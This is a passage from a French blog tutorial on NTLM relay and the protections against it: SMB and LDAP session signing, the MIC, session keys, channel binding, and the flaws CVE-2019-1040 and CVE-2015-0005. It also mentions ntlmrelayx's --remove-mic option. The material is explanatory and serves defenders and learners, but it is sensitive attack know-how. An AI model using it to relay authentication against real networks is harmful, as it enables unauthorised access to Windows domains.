<p>Comme ces informations sont indépendantes, cela signifie qu’un attaquant en situation d’homme du milieu peut très bien recevoir une authentification via HTTP, par exemple, et la relayer vers un serveur mais en utilisant SMB. C’est ce qu’on appelle du <strong>relais cross-protocole</strong>.</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_cross_protocol.png"><img src="/assets/uploads/2020/03/ntlm_relay_cross_protocol.png" alt="Cross protocole" /></a></p>
<p>En ayant tous ces aspects en tête, les chapitres suivants vont mettre en lumière les différentes faiblesses existantes ou ayant existé, et les mécanismes de sécurité qui entrent en jeu pour les combler.</p>
<h2 id="signature-de-la-session">Signature de la session</h2>
<h3 id="principe">Principe</h3>
<p>Une signature, c’est un mécanisme qui permet d’authentifier celui qui envoie un élément, et de garantir que cet élément n’a pas été modifié entre l’envoi et la réception. Par exemple, si l’utilisateur <code class="language-plaintext highlighter-rouge">jdoe</code> envoie le texte <code class="language-plaintext highlighter-rouge">I love hackndo</code>, et signe numériquement ce document, alors quiconque recevra ce document et sa signature pourra vérifier que c’est bien <code class="language-plaintext highlighter-rouge">jdoe</code> qui l’a édité, et sera assuré qu’il a bien écrit cette phrase, et pas une autre, puisque la signature garantit que le document n’a pas été modifié.</p>
<p>Le principe de signature peut être appliqué à n’importe quel échange, pour peu que le protocole le supporte. C’est par exemple le cas de <a href="https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing">SMB</a>, <a href="https://support.microsoft.com/en-us/help/4520412/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows">LDAP</a> et même de <a href="https://tools.ietf.org/id/draft-cavage-http-signatures-08.html">HTTP</a>. En pratique, la signature des flux HTTP est rarement mise en place.</p>
<p><a href="/assets/uploads/2020/03/ntlm_session_signing.png"><img src="/assets/uploads/2020/03/ntlm_session_signing.png" alt="Signature d'un paquet de session" /></a></p>
<p>Mais du coup, c’est quoi l’intérêt de signer des paquets ? Et bien comme discuté précédemment, la session et l’authentification sont deux étapes distinctes lorsqu’un client veut utiliser un service. Etant donné qu’un attaquant peut se placer en homme du milieu, et relayer les messages d’authentification, il peut se faire passer pour le client auprès du serveur.</p>
<p>C’est là que la signature des flux entre en jeu. Même si l’attaquant a réussi à s’authentifier auprès du serveur en tant que le client, il ne sera pas en mesure, <strong>ensuite</strong>, <strong>indépendamment de l’authentification</strong>, de signer les paquets. En effet, pour pouvoir signer un paquet, il faut <strong>avoir connaissance du secret</strong> du signataire.</p>
<p>Or dans le relais NTLM, l’attaquant <strong>veut se faire passer pour un client</strong>, mais il n’a <strong>pas connaissance de son secret</strong>. Il n’est donc pas en mesure de signer quoi que ce soit au nom du client. Comme il ne peut pas signer le paquet, le serveur recevant le paquet va soit voir que la signature n’est pas présente, soit qu’elle n’existe pas, et rejettera la demande de l’attaquant.</p>
<p><a href="/assets/uploads/2020/03/ntlm_session_signing_failed.png"><img src="/assets/uploads/2020/03/ntlm_session_signing_failed.png" alt="Absence de signature d'un paquet de session après relais NTLM" /></a></p>
<p>Vous le comprenez donc bien, si les paquets doivent nécessairement être signés après l’authentification, alors l’attaquant ne peut plus opérer, puisqu’il n’a pas connaissance du secret du client. L’attaque échouera donc. C’est une mesure très efficace pour se protéger du relais NTLM.</p>
<p>C’est très bien tout ça, mais comment est-ce que le client et le serveur se mettent d’accord sur le fait de signer ou non les paquets ? Et bien c’est une très bonne question. Oui, je sais, c’est moi qui la pose, mais ça n’enlève rien à sa pertinence.</p>
<p>Pour cela, deux éléments entrent en jeu.</p>
<ol>
<li>Le premier permet d’indiquer si la signature des flux est <strong>supportée</strong>. Cela est fait lors de la négociation NTLM.</li>
<li>Le deuxième permet d’indiquer si la signature des flux sera effectivement <strong>mise en place</strong> obligatoirement, optionnellement, ou pas du tout. C’est un réglage qui se fait au niveau du client et du serveur.</li>
</ol>
<h3 id="négociation">Négociation</h3>
<p>Cette négociation permet de savoir si le client et/ou le serveur supportent la signature des flux (mais pas que), et se fait pendant l’échange NTLM. Donc je vous ai un peu menti tout à l’heure, les deux échanges ne sont pas complètement indépendants. (D’ailleurs, j’ai dit que comme c’était indépendant, on pouvait changer de protocole entre le client et le serveur, mais il y a des limites, nous les verrons dans le chapitre sur le MIC dans l’authentification NTLM.)</p>
<p>En fait, dans les messages NTLM, il y a d’autres informations que le challenge et la réponse qui sont échangées. Il y a également des drapeaux de négociation, ou <em>Negotiate Flags</em>. Ces drapeaux indiquent ce que supporte l’entité qui les envoie.</p>
<p>On trouve plusieurs drapeaux, mais celui qui nous intéresse ici c’est <strong>NEGOTIATE_SIGN</strong>.</p>
<p><a href="/assets/uploads/2020/03/ntlm_negotiate_flags.png"><img src="/assets/uploads/2020/03/ntlm_negotiate_flags.png" alt="NEGOTIATE_SIGN" /></a></p>
<p>Lorsque ce drapeau est mis à <strong>1</strong> par le client, cela signifie que le client <strong>supporte</strong> la signature des flux. Attention, ça ne veut pas dire qu’il <strong>va forcément signer</strong> ses flux. Juste qu’il en est capable.</p>
<p>De même lors de la réponse du serveur, s’il supporte la signature des flux alors le drapeau sera également positionné à <strong>1</strong>.</p>
<p>Cette négociation permet donc à chacune des deux parties, client et serveur, d’indiquer à l’autre s’il est en mesure de signer les flux. Pour certains protocoles, même si le client et le serveur supportent la signature, ce n’est pas pour autant que forcément les flux seront signés.</p>
<h3 id="implémentation">Implémentation</h3>
<p>Maintenant qu’on a vu comment les deux parties indiquent à l’autre leur <strong>capacité</strong> à signer les flux, il faut qu’ils se mettent d’accord sur le fait de signer les flux. Cette fois-ci, cette décision est faite en fonction du protocole. Ca sera donc décidé d’une certaine manière pour SMBv1, d’une autre pour SMBv2, et d’une autre encore pour LDAP. Mais l’idée reste la même.</p>
<p>En fonction du protocole, il existe en général 2 voire 3 options pour savoir si les flux seront signés. Les 3 options sont :</p>
<ul>
<li>Désactivé : Cela signifie que la signature des flux n’est pas gérée.</li>
<li>Activé : Cette option indique que la machine peut gérer les flux signés, mais elle ne requiert pas qu’ils le soient.</li>
<li>Obligatoire : Ceci indique enfin que la fonctionnalité de signature des flux est non seulement gérée, mais que les flux <strong>doivent</strong> être signés pour que la session continue.</li>
</ul>
<p>Nous allons voir ici l’exemple de deux protocoles, SMB et LDAP.</p>
<h3 id="smb">SMB</h3>
<h4 id="matrice-de-signature">Matrice de signature</h4>
<p>Une matrice est fournie dans la <a href="https://docs.microsoft.com/fr-fr/archive/blogs/josebda/the-basics-of-smb-signing-covering-both-smb1-and-smb2">documentation Microsoft</a> pour savoir si les flux SMB sont signés ou non en fonction des paramètres côté client et côté serveur. Je l’ai reprise dans ce tableau. Notez cependant que pour SMBv2 et supérieur, la signature est forcément gérée, le paramètre <strong>Disabled</strong> n’existe plus.</p>
<p><a href="/assets/uploads/2020/03/ntlm_signing_table.png"><img src="/assets/uploads/2020/03/ntlm_signing_table.png" alt="Table des signatures" /></a></p>
<p>On note une différence lorsque les deux parties sont en <em>Enabled</em>. En effet, en SMBv1, le paramètre par défaut pour les serveurs était <em>Disabled</em>. Ainsi, tout le traffic SMB entre les clients et les serveurs n’était pas signé. Ca permettait d’éviter de surchager les serveurs en leur évitant de calculer des signatures à chaque envoi de paquet SMB. Comme le statut <em>Disabled</em> n’existe plus pour SMBv2, et que les serveurs sont maintenant en <em>Enabled</em> par défaut, afin de garder ce gain de charge, le comportement entre deux parties <em>Enable</em> a été modifié, et la signature des flux n’est plus mise en place dans ce cas. Il faut nécessairement que le client et/ou le serveur requiert la signature pour que les flux SMB soient signés.</p>
<h4 id="paramétrage">Paramétrage</h4>
<p>Afin de paramétrer un serveur, il convient de modifier les clés <code class="language-plaintext highlighter-rouge">EnableSecuritySignature</code> et <code class="language-plaintext highlighter-rouge">RequireSecuritySignature</code> dans la ruche <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters</code>.</p>
<p><a href="/assets/uploads/2020/03/ntlm_sig_dc.png"><img src="/assets/uploads/2020/03/ntlm_sig_dc.png" alt="Signature SMB requise" /></a></p>
<p>Cette capture d’écran a été faite sur un contrôleur de domaine. Par défaut, les contrôleurs de domaine requièrent la signature des flux SMB quand un client s’authentifie auprès d’eux. En effet, la GPO appliquée aux contrôleurs de domaine contient cette entrée :</p>
<p><a href="/assets/uploads/2020/03/ntlm_sig_dc_gpo.png"><img src="/assets/uploads/2020/03/ntlm_sig_dc_gpo.png" alt="Signature SMB requise GPO" /></a></p>
<p>En revanche, on peut voir sur cette capture qu’au dessus, le même paramètre appliqué à <strong>Microsoft network client</strong> n’est pas appliqué. Donc lorsque le contrôleur de domaine agit en tant que serveur SMB, les flux doivent être signés, mais si une connexion provient <strong>du</strong> contrôleur de domaine <strong>en direction</strong> d’un serveur, cette signature n’est pas requise.</p>
<h4 id="mise-en-place">Mise en place</h4>
<p>Maintenant que l’on sait où se configure la signature des flux SMB, on peut voir ce paramètre appliqué lors d’une connexion. Elle se fait juste avant l’authentification. En fait, lorsqu’un client se connecte au serveur SMB, les étapes sont les suivantes :</p>
<ol>
<li>Négociation de la version de SMB et de la signature des flux</li>
<li>Authentification</li>
<li>Session SMB avec les paramètres négociés</li>
</ol>
<p>Voici un exemple de négociation de la signature des flux :</p>
<p><a href="/assets/uploads/2020/03/ntlm_sig_pcap.png"><img src="/assets/uploads/2020/03/ntlm_sig_pcap.png" alt="Signature SMB enabled pcap" /></a></p>
<p>On voit une réponse d’un serveur indiquant qu’il possède le paramètre “Enable”, mais qu’il ne requiert pas la signature des flux.</p>
<p>Pour résumer, voici comment se déroule une négociation puis une authentification puis une session :</p>
<p><a href="/assets/uploads/2020/03/ntlm_nego_vs_auth_vs_session.png"><img src="/assets/uploads/2020/03/ntlm_nego_vs_auth_vs_session.png" alt="Négociation authentification session" /></a></p>
<ol>
<li>Dans la phase de négociation, les deux parties indiquent leurs prérequis : Est-ce que la signature est requise pour l’un des deux ?</li>
<li>Dans la phase d’authentification, les deux parties indiquent ce qu’ils supportent. Est-ce qu’il sont <strong>capables</strong> de signer les flux ?</li>
<li>Dans la phase de session, si les <strong>capabilités</strong> et les <strong>prérequis</strong> sont compatibles, la session s’effectue en appliquant ce qui a été négocié.</li>
</ol>
<p>Par exemple si un client <strong>DESKTOP01</strong> veut communiquer avec un contrôleur de domaine <strong>DC01</strong>, <strong>DESKTOP01</strong> indique qu’il ne requiert pas de signature des flux, mais que cette fonctionnalité est activée.</p>
<p><a href="/assets/uploads/2020/03/ntlm_ex1.png"><img src="/assets/uploads/2020/03/ntlm_ex1.png" alt="Negociation DESKTOP01" /></a></p>
<p><strong>DC01</strong> indique en retour que non seulement la fonctionnalité est activée, mais qu’il la requiert.</p>
<p><a href="/assets/uploads/2020/03/ntlm_ex2.png"><img src="/assets/uploads/2020/03/ntlm_ex2.png" alt="Negociation DC01" /></a></p>
<p>La phase d’authentification arrive, le client et le serveur mettent le drapeau <code class="language-plaintext highlighter-rouge">NEGOCIATE_SIGN</code> à <strong>1</strong> puisqu’ils supportent tous les deux la signature des flux.</p>
<p><a href="/assets/uploads/2020/03/ntlm_negotiate_flags.png"><img src="/assets/uploads/2020/03/ntlm_negotiate_flags.png" alt="NEGOTIATE_SIGN" /></a></p>
<p>Une fois cette authentification terminée, la session se poursuit, et les échanges SMB sont effectivement signés.</p>
<p><a href="/assets/uploads/2020/03/ntlm_ex3.png"><img src="/assets/uploads/2020/03/ntlm_ex3.png" alt="Session signing" /></a></p>
<h3 id="ldap">LDAP</h3>
<h4 id="matrice-de-signature-1">Matrice de signature</h4>
<p>Pour LDAP, il y a également trois niveaux :</p>
<ul>
<li>Désactivé (None) : Cela signifie que la signature des flux n’est pas gérée.</li>
<li>Négociée (Negociated Signing) : Cette option indique que la machine peut gérer la signature des flux, et que si la machine avec qui elle communique la gère aussi, alors ils seront signés.</li>
<li>Obligatoire (Required) : Ceci indique enfin que la fonctionnalité de signature des flux est non seulement gérée, mais que les flux <strong>doivent</strong> être signés pour que la session continue.</li>
</ul>
<p>Comme vous pouvez le lire, le niveau intermédiaire, <em>Negociated Signing</em> diffère du cas SMBv2, car cette fois, si le client et le serveur sont en capacité de signer les flux, alors ils le feront. Tandis que pour SMBv2, les flux n’étaient signés <strong>que</strong> si l’un des deux étaient en niveau <em>Required</em>.</p>
<p>Nous avons donc pour LDAP une matrice ressemblant à celle de SMBv1, sauf pour les comportements par défaut.</p>
<p><a href="/assets/uploads/2020/03/ntlm_ldap_signing_table.png"><img src="/assets/uploads/2020/03/ntlm_ldap_signing_table.png" alt="Table des signatures LDAP" /></a></p>
<p>La différence avec SMB est que dans un domaine Active Directory, <strong>toutes</strong> les machines sont en <em>Negociated Signing</em>. Le contrôleur de domaine n’est pas en <em>Required</em>.</p>
<h4 id="paramétrage-1">Paramétrage</h4>
<p>Pour le <strong>contrôleur de domaine</strong>, la clé de registre <code class="language-plaintext highlighter-rouge">ldapserverintegrity</code> se trouve dans la ruche <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters</code> et peut valoir 0, 1 ou 2 en fonction du niveau. Elle est à <strong>1</strong> sur le contrôleur de domaine, par défaut.</p>
<p><a href="/assets/uploads/2020/03/ntlm_ldap_signing_registry_server.png"><img src="/assets/uploads/2020/03/ntlm_ldap_signing_registry_server.png" alt="Clé de registre serveurs" /></a></p>
<p>Pour les <strong>clients</strong>, cette clé se trouve dans la ruche <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ldap</code></p>
<p><a href="/assets/uploads/2020/03/ntlm_ldap_signing_registry_client.png"><img src="/assets/uploads/2020/03/ntlm_ldap_signing_registry_client.png" alt="Clé de registre client" /></a></p>
<p>Elle est également à <strong>1</strong> pour les clients. Donc comme nous l’avons vu, comme tous les clients et les contrôleurs de domaine sont en <em>Negociated Signing</em>, <strong>tous les flux LDAP sont signés par défaut</strong>.</p>
<h4 id="mise-en-place-1">Mise en place</h4>
<p>Contrairement à SMB, il n’y a pas de drapeau dans LDAP qui indique si les flux seront signés ou non. A la place, LDAP utilise les drapeaux positionné dans la négociation NTLM. En effet, il n’y a pas besoin d’avoir plus d’information. Dans le cas ou le client et le serveur supportent la signature LDAP, alors le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> sera positionné et les flux seront signés.</p>
<p>Si une des deux parties requiert la signature des flux, et que l’autre ne la gère pas, alors tout simplement la session ne débutera pas. Celui qui requiert la signature des flux ignorera les paquets non signés.</p>
<p>Nous comprenons alors que, contrairement à SMB, si nous sommes entre un client et un serveur et que nous voulons relayer une authentification vers le serveur en utilisant LDAP, il faut deux choses :</p>
<ol>
<li>Il faut que le serveur ne requiert pas la signature des flux, ce qui est le cas pour toutes les machines par défaut</li>
<li>Il faut que le client ne positionne pas le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> à <strong>1</strong>. S’il le fait, alors la signature sera attendue par le serveur, et comme nous ne connaissons pas le secret du client, nous ne pourrons pas communiquer avec lui.</li>
</ol>
<p>Pour le point <strong>2</strong>, il arrive que des clients ne positionnent pas ce drapeau, mais malheureusement, le client SMB de Windows le positionne ! Ainsi, en l’état, il n’est pas possible de relayer une authentification SMB vers du LDAP.</p>
<p>Et pourquoi pas seulement changer le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_FLAG</code> à la volée ? Et bien … Les messages NTLM sont également signés. C’est ce que nous allons voir dans le prochain paragraphe.</p>
<h2 id="signature-de-lauthentification-mic">Signature de l’authentification (MIC)</h2>
<p>Nous avons vu comment une session pouvait être protégée contre un attaquant en situation d’homme du milieu. Maintenant, pour comprendre l’intérêt de ce chapitre, intéressons-nous à un cas bien particulier.</p>
<h3 id="cas-limite">Cas limite</h3>
<p>Imaginons qu’un attaquant arrive à se mettre en position d’homme du milieu entre un client et un contrôleur de domaine, et qu’il reçoive une demande d’authentification via SMB. Sachant qu’un contrôleur de domaine impose la signature des messages SMB, il n’est pas possible pour l’attaquant de relayer cette authentification via SMB. Il est en revanche possible de changer de protocole, comme nous l’avons vu plus haut, et l’attaquant décide de relayer vers le protocole <strong>LDAPS</strong>, puisque comme on l’a vu, les données d’authentification sont indépendantes du protocole utilisé.</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_cross_protocol_ldaps.png"><img src="/assets/uploads/2020/03/ntlm_relay_cross_protocol_ldaps.png" alt="Cross protocole LDAPS" /></a></p>
<p>Enfin, <strong>presque</strong> indépendantes.</p>
<p><strong>Presque</strong>, parce que nous avons vu que dans les données d’authentification, il y avait le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> qui était seulement présent pour indiquer si le client et le serveur supportaient la signature des flux. Et dans certains cas, ce drapeau est pris en compte, comme on l’a vu avec LDAP.</p>
<p>Et bien pour LDAPS, ce drapeau est également pris en compte par le serveur. Si un serveur reçoit une demande d’authentification avec le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> positionné à <strong>1</strong>, il refuse d’authentifier le client. En effet, LDAPS c’est LDAP enrobé (oui j’aime le terme) de TLS, et c’est TLS qui gère la signature (et le chiffrement) des flux. Ainsi, un client LDAPS n’a aucune raison d’indiquer qu’il est en mesure de signer ses flux, et s’il prétend pouvoir le faire, le serveur lui rit au nez et claque la porte.</p>
<p>Or dans notre attaque, le client que nous relayons voulait s’authentifier via SMB, donc il indique que oui, il supporte la signature des flux, donc oui, il met le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> à <strong>1</strong>. Mais si nous relayons son authentification, sans rien modifier, via LDAPS, et bien le serveur LDAPS va voir ce drapeau, et ne va pas nous autoriser à communiquer avec lui.</p>
<p>Comme proposé avec le relais de SMB vers LDAP, nous pourrions tout simplement modifier le message NTLM à la volée, et enlever le drapeau. Si nous le pouvions, nous le ferions, et effectivement, ça fonctionnerait bien. Sauf qu’il y a également une <strong>signature au niveau NTLM</strong>.</p>
<p>Cette signature, elle s’appelle le <strong>MIC</strong>, ou <em>Message Integrity Code</em>.</p>
<h3 id="le-mic">Le MIC</h3>
<p>Le MIC, c’est une signature qui est envoyée uniquement dans le dernier message d’une authentification NTLM, le message <strong>AUTHENTICATE</strong>. Elle prend en compte les 3 messages reçus. Le MIC est calculé avec la fonction <strong>HMAC_MD5</strong>, en utilisant comme clé un truc qui dépend du secret du client, appelé la <strong>clé de session</strong>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HMAC_MD5(Clé de session, NEGOTIATE_MESSAGE + CHALLENGE_MESSAGE + AUTHENTICATE_MESSAGE)
</code></pre></div></div>
<p>Ce qui est important, c’est que la clé de session <strong>dépend du secret du client</strong>. Un attaquant ne peut donc pas re-calculer le MIC.</p>
<p>Voilà un exemple de MIC :</p>
<p><a href="/assets/uploads/2020/03/ntlm_mic.png"><img src="/assets/uploads/2020/03/ntlm_mic.png" alt="MIC NTLM" /></a></p>
<p>Du coup, si un seul des 3 messages a été modifié, le MIC ne sera plus valide, puisque la concaténation des 3 messages ne sera pas la même. On ne peut donc pas modifier le drapeau <code class="language-plaintext highlighter-rouge">NEGOTIATE_SIGN</code> à la volée, comme proposé dans notre exemple.</p>
<p>Et si on enlevait juste le MIC ? Parce que oui, le MIC est optionnel.</p>
<p>Non, ça ne marchera pas, car il y a un autre drapeau qui indique qu’un MIC sera présent, <strong>msAvFlags</strong>. Il est présent également dans la réponse et s’il indique <strong>0x00000002</strong>, cela signifie au serveur qu’un MIC <strong>doit</strong> être présent. Donc si le serveur ne voit pas le MIC, il saura qu’il y a baleine sous caillou, et il refusera l’authentification. Si le drapeau dit qu’il doit y avoir un MIC, il <strong>doit</strong> y avoir un MIC.</p>
<p><a href="/assets/uploads/2020/03/ntlm_mic_av.png"><img src="/assets/uploads/2020/03/ntlm_mic_av.png" alt="MIC AV NTLM" /></a></p>
<p>Très bien, et si jamais on change ce drapeau, on le met à <strong>0</strong>, et on enlève le MIC, il se passe quoi ? Comme il n’y a plus de MIC, on ne peut plus vérifier que le message a été modifié ?</p>
<p>…</p>
<p>Et bien, si. Il se trouve que le <strong>hash NTLMv2</strong>, qui est donc la réponse au challenge envoyé par le serveur, est un hash qui prend en compte non seulement le challenge (évidemment), mais également tous les drapeaux de la réponse. Et vous l’aurez deviné, le drapeau indiquant la présence d’un MIC fait partie de cette réponse.</p>
<p>Modifier ou retirer ce drapeau rendrait le <strong>hash NTLMv2</strong> invalide, puisque la donnée aura été modifiée. Ce schéma permet de représenter tout ça.</p>
<p><a href="/assets/uploads/2020/03/ntlm_mic_protection.png"><img src="/assets/uploads/2020/03/ntlm_mic_protection.png" alt="MIC Protection" /></a></p>
<p>Le MIC protège l’intégrité des 3 messages, le drapeau msAvFlags protège la présence du MIC, et le hash NTLMv2 protège la présence du drapeau. L’attaquant, n’ayant pas connaissance du secret de l’utilisateur, ne peut pas recalculer ce hash.</p>
<p>Vous l’aurez donc compris, en l’état, nous ne pouvons rien faire dans ce cas là, et ça c’est grâce au MIC.</p>
<h3 id="drop-the-mic">Drop the MIC</h3>
<p>Un petit retour sur une vulnérabilité récente trouvée par Preempt que vous comprendrez aisément maintenant.</p>
<p>C’est la CVE-2019-1040 joliement nommée <strong>Drop the MIC</strong>. Cette vulnérabilité montrait que dans le cas où on ne faisait que retirer le MIC, même si le drapeau indiquait sa présence, le serveur acceptait l’authentification sans broncher. C’était évidemment un bug qui a été corrigé depuis.</p>
<p>Elle a été intégrée dans l’outil <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py">ntlmrelayx</a> via l’utilisation du paramètre <code class="language-plaintext highlighter-rouge">--remove-mic</code>.</p>
<p>Reprenons alors notre exemple de tout à l’heure, mais cette fois avec un contrôleur de domaine encore vulnérable. Voilà ce que ça donne en pratique.</p>
<p><a href="/assets/uploads/2020/03/ntlm_removemic.png"><img src="/assets/uploads/2020/03/ntlm_removemic.png" alt="Drop the MIC" /></a></p>
<p>Notre attaque fonctionne. Amazing.</p>
<p>Pour information, une autre vunérabilité a été trouvée par la même équipe, et s’appelle logiquement Drop The MIC 2.</p>
<h2 id="clé-de-session">Clé de session</h2>
<p>Depuis tout à l’heure, nous parlons de signature de la session ou de l’authentification, en disant que pour signer quelque chose, il faut avoir connaissance du secret de l’utilisateur. Nous avons indiqué dans le chapitre sur le MIC qu’en réalité, ce n’est pas exactement le secret de l’utilisateur qui est utilisé, mais une clé appelée <strong>clé de session</strong>, qui dépend directement du secret de l’utilisateur.</p>
<p>Pour vous donner une idée, voici comment est calculée la clé de session pour NTLMv1 et NTLMv2</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Pour NTLMv1
Clé = MD4(Hash NT)
# Pour NTLMv2
Hash NTLMv2 = HMAC_MD5(hash NT, Uppercase(Username) + UserDomain)
Clé = HMAC_MD5(Hash NTLMv2, HMAC_MD5(Hash NTLMv2, Réponse NTLMv2 + Challenge))
</code></pre></div></div>
<p>Rentrer dans les explications ne serait pas très utile, mais on voit clairement une différence de complexité d’une version à l’autre. Toute manière je le répète, <strong>n’utilisez pas NTLMv1 dans un réseau de production</strong>.</p>
<p>Avec ces informations, nous comprenons bien que le client peut calculer cette clé de son côté, puisqu’il a toutes les informations en main pour le faire.</p>
<p>Le serveur en revanche, ne peut pas toujours faire ça tout seul, comme un grand. Dans le cas d’une <a href="https://beta.hackndo.com/pass-the-hash/#compte-local">authentification locale</a>, il n’y a pas de problème puisque le serveur connait le hash NT de l’utilisateur.</p>
<p>En revanche lors d’une <a href="https://beta.hackndo.com/pass-the-hash/#compte-de-domaine">authentification avec un compte de domaine</a>, le serveur va devoir demander au contrôleur de domaine de calculer cette clé de session à sa place, et de la lui renvoyer. Nous avons vu dans l’article sur pass-the-hash que le serveur envoie une demande au contrôleur de domaine dans une structure <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/e17b03b8-c1d2-43a1-98db-cf8d05b9c6a8">NETLOGON_NETWORK_INFO</a> et que le contrôleur de domaine répond avec une structure <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/bccfdba9-0c38-485e-b751-d4de1935781d">NETLOGON_VALIDATION_SAM_INFO4</a>. C’est dans cette réponse du contrôleur de domaine que se trouve la clé de session, en cas d’authentification réussie.</p>
<p><a href="/assets/uploads/2020/03/ntlm_session_key_struct.png"><img src="/assets/uploads/2020/03/ntlm_session_key_struct.png" alt="Session key" /></a></p>
<p>La question qui se pose alors, c’est de savoir ce qui empêche un attaquant de faire la même demande que le serveur cible auprès du contrôleur de domaine. Et bien avant la <a href="https://www.coresecurity.com/advisories/windows-pass-through-authentication-methods-improper-validation">CVE-2015-0005</a>, rien !</p>
<blockquote>
<p>What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the authentication information being sent, was actually meant to the domain-joined machine that is requesting this operation (e.g. NetrLogonSamLogonWithFlags()). What this means is that <strong>any domain-joined machine can verify any pass-through authentication against the domain controller</strong>, and to get the base key for cryptographic operations for any session within the domain.</p>
</blockquote>
<p>Donc évidemment, Microsoft a corrigé ce bug. Pour vérifier que seul le serveur sur lequel s’authentifie l’utilisateur a le droit de demander la clé de session, le contrôleur de domaine va vérifier que la machine cible présente dans la réponse <code class="language-plaintext highlighter-rouge">AUTHENTICATE</code> est la même que la machine effectuant la requête NetLogon.</p>
<p>Dans la réponse <code class="language-plaintext highlighter-rouge">AUTHENTICATE</code>, nous avons vu la présence d’un drapeau <code class="language-plaintext highlighter-rouge">msAvFlags</code> indiquant la présence ou non du MIC, mais il y a également d’autres informations, telle que le nom Netbios de la machine cible de l’authentification.</p>
<p><a href="/assets/uploads/2020/03/ntlm_computer_name.png"><img src="/assets/uploads/2020/03/ntlm_computer_name.png" alt="Computer name" /></a></p>
<p>C’est ce nom là qui est comparé avec la machine effectuant la requête NetLogon. Ainsi, si l’attaquant essaie de faire une requête NetLogon pour avoir la clé de session, le nom de l’attaquant ne correspondant pas au nom de la machine dans la réponse NTLM, le contrôleur de domaine va rejeter la demande.</p>
<p><a href="/assets/uploads/2020/03/ntlm_netlogon_session_key.png"><img src="/assets/uploads/2020/03/ntlm_netlogon_session_key.png" alt="NetLogon NTLM clé de session" /></a></p>
<p>Enfin, de la même manière que <code class="language-plaintext highlighter-rouge">msAvFlags</code>, nous ne pouvons pas modifier le nom de la machine à la volée dans la réponse NTLM, car il est pris en compte dans le calcul de la réponse NTLMv2.</p>
<h2 id="channel-binding">Channel Binding</h2>
<p>Nous allons parler d’une dernière notion. Plusieurs fois nous avons répété que la couche d’authentification, donc les messages NTLM, était quasi-indépendante de la couche applicative, du protocole utilisé (SMB, LDAP, …). Je dis “quasi” parce que nous avons vu que certains protocoles utilisent les drapeaux des messages NTLM pour savoir si la session doit être signée ou non.</p>
<p>Quoiqu’il en soit, en l’état, il est tout à fait possible pour un attaquant de récupérer un message NTLM dans un protocole A, et de le renvoyer dans un protocole B. C’est le principe du <strong>relais cross-protocole</strong> que nous avons déjà évoqué.</p>
<p><a href="/assets/uploads/2020/03/ntlm_relay_cross_protocol.png"><img src="/assets/uploads/2020/03/ntlm_relay_cross_protocol.png" alt="Cross protocole" /></a></p>
<p>Et bien une nouvelle protection existe pour contrer cette attaque. C’est la protection appelée <strong>channel binding</strong>, ou liaison de canaux, en bon français. Le principe de cette protection, c’est de lier la couche authentification avec le protocole utilisé, voire avec la couche TLS dans laquelle tout est parfois encapsulé (LDAPS ou HTTPS par exemple). L’idée générale étant que dans le dernier message NTLM <code class="language-plaintext highlighter-rouge">AUTHENTICATE</code>, il y ait une information non modifiable par un attaquant qui indique le service souhaité, et potentiellement une autre information qui contienne une emprunte du certificat du serveur avec qui elle communique.</p>
<p>Nous allons voir ces deux principes un peu plus en détail, mais ne vous inquiétez pas, c’est relativement simple à comprendre.</p>
<h3 id="liaison-avec-le-service">Liaison avec le service</h3>
<p>Cette première protection est assez simple à comprendre. Si un client souhaite s’authentifier auprès d’un serveur pour utiliser un service spécifique, l’information identifiant le service sera ajoutée dans la reponse NTLM.</p>
<p>De cette manière, lorsque le serveur légitime reçoit cette authentification, il peut voir le service qui a été demandé par le client, et s’il diffère de ce qui est vraiment demandé, il n’accepte pas de fournir le service.</p>
<p>Le nom du service se trouvant dans la réponse NTLM, il est protégé par la réponse <strong>NtProofStr</strong> qui est un HMAC_MD5 de cette information, du challenge, et d’autres informations comme le <strong>msAvFlags</strong>. Elle est, je le rappelle, calculée avec le secret du client.</p>
<p>Dans l’exemple présenté dans le dernier schéma, nous voyons un client qui tente de s’authentifier via HTTP auprès du serveur. Sauf que le serveur, c’est un attaquant, et l’attaquant rejoue cette authentification auprès du serveur légitime, pour accéder non plus à un service web (via HTTP), mais un partage réseau (SMB).</p>
<p>Sauf que le client a indiqué le service qu’il souhaitait utiliser dans sa réponse NTLM, et comme l’attaquant ne peut pas le modifier, il est obligé de le relayer tel quel. Le serveur reçoit alors le dernier message, compare le service demandé par l’attaquant avec le service renseigné dans le message NTLM, et refuse la connexion en s’apercevant que les deux services ne correspondent pas.</p>
<p><a href="/assets/uploads/2020/03/ntlm_service_binding.png"><img src="/assets/uploads/2020/03/ntlm_service_binding.png" alt="Cross protocole example" /></a></p>
<p>Concrètement, ce qu’on appelle <strong>service</strong>, c’est en fait le <strong>SPN</strong> ou <strong>Service Principal Name</strong> qui est renseigné dans le dernier message NTLM. J’ai consacré <a href="/service-principal-name-spn">un article entier</a> à l’explication de cette notion, je vous invite à vous y réferrer si nécessaire.</p>
<p>Voilà une capture d’écran d’un client qui envoie le SPN dans sa réponse NTLM.</p>
<p><a href="/assets/uploads/2020/03/ntlm_service_binding_pcap.png"><img src="/assets/uploads/2020/03/ntlm_service_binding_pcap.png" alt="Service binding" /></a></p>
